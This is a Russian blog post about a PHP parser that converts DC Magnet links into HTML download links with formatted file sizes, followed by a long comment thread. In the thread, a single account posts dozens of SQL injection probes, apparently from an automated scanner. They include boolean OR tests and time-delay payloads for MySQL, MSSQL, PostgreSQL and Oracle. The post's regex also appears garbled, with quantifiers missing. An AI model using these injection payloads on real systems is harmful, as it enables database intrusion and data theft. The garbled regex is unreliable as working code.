Недавно обкатал новую интересную функцию на DC портале. Для неё использовал в классе парсера функцию PHP «preg_replace_callback«. Суть функции заключается в том что она берёт параметром функцию обратного вызова ко всем найденным выражениям и найденное заменяет тем что функция вернула.

Внутри функции заключил 2 функции: первая, format_size, формирует размер, кстати вот она:

  1. function format_size ($size, $arr=false)
  2. {
  3.  $units = '';
  4.  if ($size <= 1024)
  5.  {
  6.  $units = "b";
  7.  } else {
  8.         if ($size < 1048576) # 1024^2
  9.         {
  10.         $units = "Kb";
  11.         $size = $size/1024;
  12.  
  13.  } else {
  14.   if ($size < 1073741824) # 1024^3
  15.  {
  16.     $units = "Mb";
  17.     $size = $size/(1048576);
  18.         } else {
  19.          if ($size < 1099511627776) # 1024^4
  20.                 {
  21.                 $units = "GB";
  22.                 $size = $size/(1073741824);
  23.                 } else {
  24.                   if ($size < 1125899906842624) # 1024^5
  25.                     {
  26.                     $units = "Tb";
  27.                     $size = $size/(1099511627776);
  28.                     } else {
  29.                     $units = "Eb";
  30.                     $size = $size/(1125899906842624); # 1024^5
  31.                                 }
  32.                                 }
  33.                         }
  34.                 }
  35.         }
  36.  
  37.  
  38.         if ($arr)
  39.                 return array(round($size,2),$units);
  40.         else
  41.                 return round($size,2).' '.$units;
  42. }

Вторая, rep_magnet, берёт этот размер и формирует, собственно Magnet-ссылку.

  1. function rep_magnet ($s)
  2. {
  3. if (@$s[1]) return $s[0]; // If have '[url=' at the start - return not modiffed string
  4. $link = $s[0];
  5. $link = str_replace ('"', '"', $link);
  6. $name = htmlspecialchars(urldecode($s[4]));
  7. $size = format_size($s[3]);
  8. return '<img src="/favicon.png/" alt="" /><a href="'.$link.'">Скачать файл из DC  : <strong>'.$name.'</strong></a> ('.$size.')';
  9. }

Если функция находит символ равно, в регулярном выражении, обработки не происходит, сделано, для экранирования ссылок заключённых в тег [url и во избежании повторного парсинга.

В итоге получается такая регулярка:

$source = preg_replace_callback ('/([=\'"`])%3Fmagnet:\%3Fxt=urn:tree:tiger:([a-z0-9] )&xl=([0-9] )&dn=([^<\s\[\]] )/uims', 'rep_magnet', $source );

Вот так это выглядит в работе:



nEcdyGgx

nEcdyGgx 13 Augustа в 18:33 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 2+845-845-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3+845-845-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3*2>(0+5+845-845) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 2+595-595-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3+595-595-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3*2>(0+5+595-595)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 2+673-673-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 3+673-673-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 3*2>(0+5+673-673) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 2+440-440-1=0+0+0+1 or 'nrlLEUup'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 3+440-440-1=0+0+0+1 or 'nrlLEUup'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1' OR 3*2>(0+5+440-440) or 'nrlLEUup'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1" OR 2+604-604-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1" OR 3+604-604-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1" OR 3*2>(0+5+604-604) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

IqzC5VgJ'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-5 OR 957=(SELECT 957 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-5) OR 935=(SELECT 935 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1)) OR 610=(SELECT 610 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

hgVKjWDQ' OR 301=(SELECT 301 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

ZbN6IviI') OR 18=(SELECT 18 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

UKRs9o61')) OR 858=(SELECT 858 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

@@vceah

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 2+558-558-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3+558-558-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2>(0+5+558-558) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 2+688-688-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3+688-688-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2>(0+5+688-688)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 2+915-915-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3+915-915-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2>(0+5+915-915) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 2+512-512-1=0+0+0+1 or 'mP2En4YQ'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3+512-512-1=0+0+0+1 or 'mP2En4YQ'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2>(0+5+512-512) or 'mP2En4YQ'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 2+849-849-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 3+849-849-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 3*2>(0+5+849-849) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

Zzs6T56X'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-5 OR 442=(SELECT 442 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-5) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1)) OR 448=(SELECT 448 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

SbZY80K6' OR 871=(SELECT 871 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

NtsrZUCs') OR 659=(SELECT 659 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

CScphlC0')) OR 967=(SELECT 967 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:51 #

@@u6Pkb

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:54 #

555


Войдите или зарегистрируйтесь, чтобы написать комментарий.